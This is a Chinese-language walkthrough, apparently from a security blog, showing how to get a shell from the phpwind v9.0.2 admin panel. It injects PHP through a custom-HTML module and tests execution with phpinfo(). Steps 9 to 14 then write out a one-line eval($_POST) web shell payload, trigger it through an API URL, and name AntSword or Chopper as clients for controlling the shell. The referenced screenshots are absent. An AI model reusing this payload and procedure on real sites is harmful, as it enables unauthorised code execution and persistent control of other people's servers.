【3】phpwind v9.0.2 后台getshell_phpwind getshell

前提：你已经进入到phpwind 后台。

1、我的环境phpwind如下：

2、点击   门户--》模块管理--》调用管理--》添加模块

3、点击完添加模块后，图如下：

4、选怎自定义html，下一步

5、到当前页面后，填入模块名称，自定义html。（<?php phpinfo();?>）,下一步。

6、点击下一步，会显示成功，并自动跳转如下页面。点击下图中调用代码。

7、接上一步，会显示如下界面，去掉xml访问网址，会指向之前的phpinfo()。

8、显示phpinfo信息如下：可以看出php代码执行。

9、将第5步代码换成（ <?php fputs(fopen("shellx.php","w"),"<?eval(\$_POST[shell]);?>");?> ）

新建一个shellx.php文件，将一句话写入shellx.php文件。

10、点击提交后，并没有自己跳转，那就返回上一级。

11、点击调用代码，访问网址，执行php即可。xml去掉。

12、 http://192.168.1.120:8084/index.php?m=design&c=api&token=bnr79bTPrh&id=4&format=，执行后，我们的一句话就生成了。

13、直接访问，没有404，说明成功

14、蚁剑或者菜刀都可以：